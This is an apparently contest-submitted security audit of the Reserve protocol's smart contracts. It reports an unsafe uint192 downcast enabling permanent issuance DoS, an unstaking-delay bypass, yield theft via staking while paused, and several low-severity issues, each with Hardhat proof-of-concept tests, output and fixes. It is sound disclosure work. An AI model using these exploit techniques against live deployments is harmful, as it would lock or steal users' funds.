Reserve contest - Soosh's results

Lines of code

https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/RToken.sol#L230-L243

Vulnerability details

Unsafe downcasting in issue(...) can be exploited to cause permanent DoS

Important note!

I first found this bug in issue(...) at first, but unsafe downcasting appears in many other areas of the codebase, and seem to also be exploitable but no PoC is provided due to time constraints. Either way, using some form of safe casting library to replace all occurences of unsafe downcasting will prevent all the issues. I also do not list the individual instances of unsafe downcasting as all occurences should be replaced with safe cast.

Details

The amtRToken is a user supplied parameter in the issue(uint256 amtRToken) function

uint192 amtBaskets = uint192(
	totalSupply() > 0 ? mulDiv256(basketsNeeded, amtRToken, totalSupply()) : amtRToken
);

The calculated amount is unsafely downcasted into uint192.

This means that if the resulting calculation is a multiple of $2^{192}$, amtBaskets = 0

The code proceeds to the following line, where erc20s and deposits arrays will be empty since we are asking for a quote for 0. (see quote(...) in BasketHandler.sol where amounts are multiplied by zero)

(address[] memory erc20s, uint256[] memory deposits) = basketHandler.quote(
            amtBaskets,
            CEIL
        );

This means an attacker can call issue(...) with a very high amtRToken amount that is a multiple of $2^{192}$, without depositing any amount of collateral.

The DoS issues arises because whenFinished(uint256 amtRToken) is dependent on amtRToken. With such a high value, allVestAt will be set so far in the future that it causes a permanent DoS. i.e. Issuances will never vest.

uint192 vestingEnd = whenFinished(amtRToken); // D18{block number}

Proof of Concept

This PoC demonstrates that an attacker can call issue(...) without collateral tokens to modify allVestAt variable to an extreme value, such that all further issuances cannot be vested for all users.

Do note that the PoC is done with totalSupply() == 0 case, so we supply amtRToken as a multiple of $2^{192}$. Even if there is an existing totalSupply(), we just need to calculate a value for amtRToken >= 2^192 such that $\frac{\text{basketsNeeded} \times \text{amtRToken}}{totalSupply()} = 0$. This attack does not require totalSupply() be zero.

uint192 amtBaskets = uint192(
	totalSupply() > 0 ? mulDiv256(basketsNeeded, amtRToken, totalSupply()) : amtRToken
);

The amount, baskets and quantities values are also messed up, but it would not matter anyways...

Under 'Issuance and Slow Minting' tests in RToken.test.ts:

it('Audit: DoS by downcasting', async function () {
      const issueAmount: BigNumber = BigNumber.from(2n ** 192n)

      // Set basket
      await basketHandler.connect(owner).setPrimeBasket([token0.address], [fp('1')])
      await basketHandler.connect(owner).refreshBasket()

      // Attacker issues 2 ** 192, or a multiple of 2 ** 192 RTokens
      // This will cause allVestAt to be veryyyyy high, permanent DoS
      const tx = await rToken.connect(addr1)['issue(uint256)'](issueAmount)
      const receipt = await tx.wait()
      console.log(receipt.events[0].args)
  
      await token0.connect(addr2).approve(rToken.address, initialBal)
      const tx2 = await rToken.connect(addr2)['issue(uint256)'](initialBal)
      const receipt2 = await tx2.wait()
      console.log(receipt2.events[0].args)

      // one eternity later...
      await advanceTime('123456789123456789')
      // and still not ready
      await expect(rToken.connect(addr2).vest(addr2.address, 1))
        .to.be.revertedWith("issuance not ready")

    })

Run with:

yarn test:p1 --grep "Audit: DoS"

Expect to see (only important parts shown):

[
  ...
  recipient: '0x70997970C51812dc3A010C7d01b50e0d17dc79C8',
  index: BigNumber { value: "0" },
  amount: BigNumber { value: "6277101735386680763835789423207666416102355444464034512896" },
  baskets: BigNumber { value: "0" },
  erc20s: [ '0x998abeb3E57409262aE5b751f60747921B33613E' ],
  quantities: [ BigNumber { value: "0" } ],
  blockAvailableAt: BigNumber { value: "627710173538668076383578942320766744610235544446403452" }
]
[
  ...
  recipient: '0x3C44CdDdB6a900fa2b585dd299e03d12FA4293BC',
  index: BigNumber { value: "0" },
  amount: BigNumber { value: "6300000000000000000000000000000000000000000000000000000000" },
  baskets: BigNumber { value: "22898264613319236164210576792333583897644555535965487104" },
  erc20s: [ '0x998abeb3E57409262aE5b751f60747921B33613E' ],
  quantities: [
    BigNumber { value: "22898264613319236164210576792333583897644555535965487104" }
  ],
  blockAvailableAt: BigNumber { value: "1257710173538668076383578942320766744610235544446403452" }
]

  RTokenP1 contract
    Issuance and Slow Minting
      ✔ Audit: DoS by downcasting

Impact

Permanent DoS would be High risk considering RToken is an asset-backed currency. A currency that is unable to issue new currency does not work as a currency

Also, I believe existing collateral cannot be redeemed due to the extreme values also used in redeem(...) function. No PoC written due to time constriant for this case... but above should be enough impact.

Many other downcasting issues for this project. But using a safe casting library would prevent all the issues... not going to write multiple reports for same underlying issue.

Recommendations

Use some safe casting library. OpenZeppelin's library does not have safe casting for uint192 type. May have to find another or write your own.

it('Audit: DoS by downcasting', async function () {
      const issueAmount: BigNumber = BigNumber.from(2n ** 192n)

      await token0.burn(addr1.address, bn('6.3e57'))
      await token0.burn(addr2.address, bn('6.3e57'))
      // await token0.mint(addr1.address, bn('10e18'))
      await token0.mint(addr2.address, bn('10e18'))
      expect(await token0.balanceOf(addr1.address)).to.eq(0)
      expect(await token0.balanceOf(addr2.address)).to.eq(bn('10e18'))

      // Set basket
      await basketHandler.connect(owner).setPrimeBasket([token0.address], [fp('1')])
      await basketHandler.connect(owner).refreshBasket()

      // Attacker issues 2 ** 192, or a multiple of 2 ** 192 RTokens
      // This will cause allVestAt to be very high, permanent DoS
      const tx = await rToken.connect(addr1)['issue(uint256)'](issueAmount)
      const receipt = await tx.wait()
      console.log(receipt.events[0].args)
  
      await token0.connect(addr2).approve(rToken.address, bn('10e18'))
      const tx2 = await rToken.connect(addr2)['issue(uint256)'](bn('10e18'))
      const receipt2 = await tx2.wait()
      console.log(receipt2.events[0].args)

      // one eternity later...
      await advanceTime('123456789123456789')
      // and still not ready
      await expect(rToken.connect(addr2).vest(addr2.address, 1))
        .to.be.revertedWith("issuance not ready")
    })

Lines of code

https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/StRSR.sol#L560-L564

Vulnerability details

Details

In unstake(...)->pushDraft(...), This part of code decides the time after which a user may withdraw() their stake. It is calculated as block.timestamp + unstakingDelay or lastAvailableAt whichever is later. lastAvailableAt being the last, pending, unstake availableAt timestamp the user has.

uint64 lastAvailableAt = index > 0 ? queue[index - 1].availableAt : 0;
availableAt = uint64(block.timestamp) + unstakingDelay;
if (lastAvailableAt > availableAt) {
	availableAt = lastAvailableAt;
}

Assume unstakingDelay is currently set at 1 year and Alice calls unstake(...) for half her stake, availableAt = $\theta$.

Then, governance decides to setUnstakingDelay(...) to a new value of 14 days.

If Alice calls unstake(...) for the other half of her stake after this proposal, the availableAt will be set to $\theta$, not the new 14 days.

For a user Bob who did not call unstake(...) before the proposal, if he calls unstake(...) now, availableAt will be block.timestamp + 14 days for him.

It is not clear why this is an issue yet -> See Impact section.

Proof of concept

The PoC will demonstrate the current functionality as described above. In ZZStRSR.test.ts:

    it('Audit: lastAvailableAt', async () => {
      await stRSR.connect(owner).setUnstakingDelay(bn(MAX_UNSTAKING_DELAY))
      
      await rsr.connect(addr1).approve(stRSR.address, stake)
      await stRSR.connect(addr1).stake(stake)
      await rsr.connect(addr2).approve(stRSR.address, stake)
      await stRSR.connect(addr2).stake(stake)

      const halfStake = stake.div(2)
      await stRSR.connect(addr2).unstake(halfStake)

      await stRSR.connect(owner).setUnstakingDelay(bn('1209600')) // 2 weeks

      const tx1 = await stRSR.connect(addr1).unstake(stake)
      const res1 = await tx1.wait()
      expect(Number(res1.events[1].args.availableAt))
      .to.eq(Number(await getLatestBlockTimestamp() + 1209600))

      const tx2 = await stRSR.connect(addr2).unstake(halfStake)
      const res2 = await tx2.wait()
      expect(Number(res2.events[1].args.availableAt))
      .to.be.approximately(Number(await getLatestBlockTimestamp() + MAX_UNSTAKING_DELAY), 10)
    })

Run with:

yarn test:p1 --grep "Audit: lastAvailableAt" 

To see:

  StRSRP1 contract
    Add RSR / Rewards
      ✔ Audit: lastAvailableAt (530ms)


  1 passing (2m)

Impact

EITHER the current functionality is correct but can be bypassed OR the current functionality is incorrect

Case 1 - the current functionality is correct but can be bypassed:

• Since stRSR is an ERC20, it can be transfered to another address
• Alice can first transfer her stRSR to another address she owns, then call unstake(...). This means she can withdraw() after 14 days, instead of at $\theta$
• This works because draftQueues[draftEra][account] is only tied to an account, by using another EOA, we bypass the lastAvailableAt check.

Case 2 - the current functionality is incorrect:

• Why should Alice's new unstake(...) follow lastAvailableAt?
• Should the correct functionality be to simply set availableAt to always be block.timestamp + unstakingDelay?

This unintended functionality/bypass would indicate Medium, although the impact scales with how drastic the unstakingDelay change is. The example used for 1 year -> 14 days change is certainly an edge case for maximum impact.

Recommendations

The team should consider what the intended calculation for availableAt be in such a scenario. This depends on what is considered intended functionality by the team so no concrete recommendation is given.

Lines of code

https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/StRSR.sol#L215

Vulnerability details

Details

It is possible for a user to steal the yield from other stakers by staking when the system is paused or frozen.

This is because staking is allowed while paused/frozen, but _payoutRewards() is not called during so. Staking rewards are not paid out to current stakers when a new staker stakes, so the new staker immediately gets a portion of the rewards, without having to wait for a reward period.

function stake(uint256 rsrAmount) external {
	require(rsrAmount > 0, "Cannot stake zero");
	
	if (!main.pausedOrFrozen()) _payoutRewards();
	...
}

Proof of concept

A test case can be included in ZZStRSR.test.ts under 'Add RSR / Rewards':

    it('Audit: Loss of staking yield for stakers when another user stakes in pause/frozen state', async () => {
      await rsr.connect(addr1).approve(stRSR.address, stake)
      await stRSR.connect(addr1).stake(stake)

      await advanceTime(Number(config.rewardPeriod) * 5)
      await main.connect(owner).pause()

      await rsr.connect(addr2).approve(stRSR.address, stake)
      await stRSR.connect(addr2).stake(stake)

      await main.connect(owner).unpause()

      await stRSR.connect(addr1).unstake(stake)
      await stRSR.connect(addr2).unstake(stake)
      await advanceTime(Number(config.unstakingDelay) + 1)

      await stRSR.connect(addr1).withdraw(addr1.address, 1)
      await stRSR.connect(addr2).withdraw(addr2.address, 1)
      const addr1RSR = await rsr.balanceOf(addr1.address)
      const addr2RSR = await rsr.balanceOf(addr2.address)
      console.log(`addr1 RSR = ${addr1RSR}`)
      console.log(`addr2 RSR = ${addr2RSR}`)
      expect(Number(addr1RSR)).to.be.approximately(Number(addr2RSR), 10)
    })

Note that await advanceTime(Number(config.rewardPeriod) * 5) can be before or after the pause, same result will occur

Run with: yarn test:p1 --grep "Audit"

Output:

addr1 RSR = 10000545505689818061216
addr2 RSR = 10000545505689818061214

  StRSRP1 contract
    Add RSR / Rewards
      ✔ Audit: Loss of staking yield for stakers when another user stakes in pause/frozen state (1504ms)                                                                                       (1504ms)


  1 passing (2m)

The PoC demonstrates that the staker2 stole half of the rewards from staker1. staker1 staked for 5 rewardPeriod, staker2 did not have to wait at all, but still received half of the reward share.

Impact

This should fall into "Theft of unclaimed yield", suggesting High risk. But the amount of RSR that can be stolen depends on the liveliness of the staking pool (how often _payoutRewards() is called). If the time window between the last stake(...)/unstake(...)/payoutRewards(...) and pause()/freezeUntil(...) is small, then no/less RSR yield can be stolen.

system-design.md rewardPeriod:

Default value: `86400` = 1 day
Mainnet reasonable range: 10 to 31536000 (1 year)

For RTokens which choose a smaller value for rewardPeriod, the risk is higher. If rewardPeriod = 86400 like recommended, then for this attack to occur, no one must have called stake(...)/unstake(...)/payoutRewards(...) for 1 day before the pause/freeze occured.

Likelihood is Low for a reasonably set rewardPeriod and lively project. Therefore submitting as Medium risk.

Recommendations

I'm unsure of why staking is allowed when paused/frozen and the reason for the line:

 if (!main.pausedOrFrozen()) _payoutRewards();

The team should consider the reason for the above logic.

If the above logic is required, then I would suggest that poke() in Main.sol be called inside of pause() and freezeUntil(...) to update the state before pausing/freezing. Since distribute(...) has modifier notPausedOrFrozen, I would assume in pause/frozen state, no RSR is sent to stRSR contract(i.e. no rewards when paused/frozen) so this recommendation should be sufficient in preventing the issue.

Low

COMP rewards claiming can bypass requireNotPausedOrFrozen()

claimComp(address holder) in Comptroller can be called by anyone, sending the COMP rewards to the holder specified.

In the claiming functions for RToken.sol

function claimRewardsSingle(IERC20 erc20) external {
	requireNotPausedOrFrozen();
	RewardableLibP1.claimRewardsSingle(assetRegistry.toAsset(erc20));
}

and Trading.sol

function claimRewardsSingle(IERC20 erc20) external notPausedOrFrozen {
	RewardableLibP1.claimRewardsSingle(main.assetRegistry().toAsset(erc20));
}

The protocol expects that claimRewards(...) cannot be called when the protocol is paused or frozen. But a user could directly call claimComp on the comptroller contract, to send COMP rewards to RToken, BackingManager and RevenueTrader contracts.

Also, the event emitted will report wrong values if claimComp was called directly.

function claimRewards() external virtual override {
	IERC20 comp = IERC20(comptroller.getCompAddress());
	uint256 oldBal = comp.balanceOf(address(this));
	comptroller.claimComp(address(this));
	emit RewardsClaimed(comp, comp.balanceOf(address(this)) - oldBal);
}

"wrong" as in the total sum of all amounts from the RewardsClaimed events will not total the actual amount of rewards claimed by the contracts.

event RewardsClaimed(IERC20 indexed erc20, uint256 indexed amount);

Affected:

• https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/mixins/Trading.sol#L82-L92
• https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/RToken.sol#L520-L530
• https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/plugins/assets/CTokenFiatCollateral.sol#L52

Impact

It is unexpected that COMP rewards can still be claimed when the protocol is paused/frozen but I could not find a path in which this will lead to a bigger issue.

Recommendations

I don't think this can really be prevented, it is just important to keep in mind that COMP balances of contracts which inherit IRewardableComponent could be changed without permission/knowledge of the protocol.

Therefore, if RewardsClaimed event should be consumed by an external program, know that the values could be misrepresented.

This issue will likely also apply to other Compound-fork protocols. For AAVE, this is not an issue because AAVE reward claiming is permissioned (msg.sender must be authorised claimer).

Transaction ordering of setting unstakingDelay and rewardPeriod may cause reverts

Details

In both the setUnstakingDelay(...) and setRewardPeriod(...) governance functions, there exists a common check for rewardPeriod * 2 <= unstakingDelay.

function setUnstakingDelay(uint48 val) public governance {
	require(val > 0 && val <= MAX_UNSTAKING_DELAY, "invalid unstakingDelay");
	emit UnstakingDelaySet(unstakingDelay, val);
	unstakingDelay = val;
	require(rewardPeriod * 2 <= unstakingDelay, "unstakingDelay/rewardPeriod incompatible");
}

function setRewardPeriod(uint48 val) public governance {
	require(val > 0 && val <= MAX_REWARD_PERIOD, "invalid rewardPeriod");
	emit RewardPeriodSet(rewardPeriod, val);
	rewardPeriod = val;
	require(rewardPeriod * 2 <= unstakingDelay, "unstakingDelay/rewardPeriod incompatible");
}

Assume governance decides to change these parameters. Even if the final unstakingDelay and rewardPeriod are compatible, the governance transaction may still revert due to a bad ordering of function calls.

Say that the current rewardPeriod is $w$ weeks, and the unstakingDelay is $2w$ weeks in seconds.

If updating $\text{rewardPeriod} \gt w$, then setUnstakingDelay(...) must be called first such that $\text{unstakingDelay} \ge 2 \times \text{newRewardPeriod}$.

If updating $\text{unstakingDelay} < 2w$, then setRewardPeriod(...) must be called first such that $rewardPeriod \le \frac{\text{newUnstakingDelay}}{2}$

Otherwise, the transactions will revert at the require(rewardPeriod * 2 <= unstakingDelay, "unstakingDelay/rewardPeriod incompatible"); check.

Affected:

• https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/StRSR.sol#L812-L825

Impact

Since this is a governance function, there is a higher risk.

The reason is that these functions require a voting process to take place, which incurs significant gas costs for all governance participants (on Ethereum) - think voting process, queueing, execution, cancelling and retrying.

Additionally, the default Governor Alexios implementation takes 7 days end-to-end (from Proposal to Execution) due to voting delay and timelock.

Availability is impacted and there is significant gas wasted. It is also a plausible mistake to not consider the transaction order when setting new compatible parameters.

Recommendations

One way to prevent this is to combine both setUnstakingDelay(...) and setRewardPeriod(...) into one function, performing the check only after both values are set so such a transaction ordering mistake cannot be made.

stRSR permit(...) does not account for era

stRSR has a permit(...) function

function permit(...) public virtual {
	require(block.timestamp <= deadline, "ERC20Permit: expired deadline");

	bytes32 structHash = keccak256(
		abi.encode(_PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline)
	);

	PermitLib.requireSignature(owner, _hashTypedDataV4(structHash), v, r, s);

	_approve(owner, spender, value);
}

A permit could be signed off-chain, allowing some user to later set allowance according to the signed permit.

Because era is not included in the hash struct, if era changed, an unused, signed permit would still be valid. That is, allowance will be set for the new era in _approve(...)

_allowances[era][owner][spender] = amount;

If deadline is set to a reasonable value, this is partially mitigated. Also, in most cases, if a user permits another user to spend tokens, they usually already trust that user, therefore submitting as Low.

This issue also applies to vote delegation - delegateBySig(...) in stRSRVotes.sol.

Affected:

• https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/StRSR.sol#L766-L784
• https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/StRSRVotes.sol#L118-L135

Impact

It is possible to hold a signed permit() across different eras. It is possible to hold a signed delegate() across different eras.

Recommendations

• Accept the risk
• OR include era in the structHash
• OR follow the recommendation in a seperate High risk issue titled "Bridged stRSR can lead to loss of funds" submitted by me.

setRedemptionRateFloor(...) should be checked for reasonable value

The function does not currently have a bound for acceptable values

function setRedemptionRateFloor(uint256 val) public governance {
	emit RedemptionRateFloorSet(battery.redemptionRateFloor, val);
	battery.redemptionRateFloor = val;
}

refer to system-design.md - RedemptionBattery: "Either of the two variables can be defined to be zero to disable them" ...

RedemptionBattery.redemptionRateFloor
Dimension: {qRTok/hour}

The redemption rate floor is the minimum quantity of RToken to allow redemption of per-hour, and thereby the rate to charge the redemption battery at.

Default value: 1e24 = 1,000,000 RToken Mainnet reasonable range: 1e23 to 1e27

I think it is important that redemptionRateFloor cannot be set to zero, but instead require it to be > 1e23. If only scalingRedemptionRate is set, and redemptionRateFloor is disabled (zero), users can never redeem all RTokens since the amount redeemable is a percentage of totalSupply.

^ The same problem as trying to reach the end of a room, but each step taken must be half the distance of the previous step.

Note that the issue is that both values can be set to zero at the same time. The above is reason for making redmeptionRateFloor non-zero, rather than enforcing scalingRedemptionRate be non-zero.

Affected: https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/RToken.sol#L615-L618

Impact

This contradicts a known issue behavior on the contest page

"The governance has the ability to freeze, and with long freezing enabled (default) it is possible for governance to soft-lock the backing for the duration of the freezing period by preventing the RToken holders from redeeming. The idea is to turn off freezing capabilities couple months into RToken existence."

The last sentence suggests that governance should eventually not be able to soft-lock the backing.

The ability to set redemptionRateFloor to zero/a small amount allows governance another way to soft-lock the backing without freezing capabilities. (governance sets both to zero, no amount can be redeemed)

Recommendations

function setRedemptionRateFloor(uint256 val) public governance {
+	require(val >= 1e23, "invalid amount");
	emit RedemptionRateFloorSet(battery.redemptionRateFloor, val);
	battery.redemptionRateFloor = val;
}

Silent error with melt() in redeem(...)

Details

In redeem(...),

	// Failure to melt results in a lower redemption price, so we can allow it when paused
	// solhint-disable-next-line no-empty-blocks
	try main.furnace().melt() {} catch {}

main.furnace().melt() will call RToken.melt():

    function melt(uint256 amtRToken) external notPausedOrFrozen {
        _burn(_msgSender(), amtRToken);
        emit Melted(amtRToken);
        requireValidBUExchangeRate();
    }

The intention behind the try-catch as stated by the comment is so that even if melt() reverts due to being paused (notPausedOrFrozen modifier), it should still allow the user to redeem(...) at a lower redemption price.

However, this also means that requireValidBUExchangeRate() check is bypassed. If the requireValidBUExchangeRate() does not hold true, the external tx is reverted, and execution continues at the empty catch block.

melt() can silently fail (furnace does not actually burn any tokens) due to the try-catch when redeeming.

Affected: https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/RToken.sol#L452

Impact

Even if redeeming when not paused, there could be a silent failure to melt() resulting in a lower redemption price for the redeemer.

Recommendations

if (!main.pausedOrFrozen()) {
	main.furnace().melt()
}

This will make it so that redeem(...) will revert if requireValidBUExchangeRate() does not hold after melt(). (should create a paused() function to check if paused. Above recommendation is based on existing pausedOrFrozen() function).

Inherent DoS risk from battery capacity

system-design.md - RedemptionBattery:

In order to restrict the system to organic patterns of behavior, we have the concept of a Redemption Battery. When redemption occurs, it uses up stored battery charge. The battery has a natural charging rate, which is controlled by the combination of two variables: _redemptionRateFloor_ and _scalingRedemptionRate_.

Issue is that someone can grief with this functionality, causing a DoS since there isn't really a penalty for continuously issue(...) -> vest(...) -> redeem(...) to drain the battery, only gas costs. The attacker uses up the battery charge so other users cannot redeem.

This is amplified if issuance rate is set higher than redeem rate, since issuances for the attacker can be instantly vested and redeemed in a single transaction.

Issuance can also be DOS, but that requires capital lockup for the griefer (Since they will also have to wait to vest)

Affected: https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/docs/system-design.md?plain=1#L269-L291

Impact

Prevent other users from redeeming RTokens

Would submit as higher risk if I had a decent recommendation.

Recommendations

Inherent risk due to design/purpose of this functionality.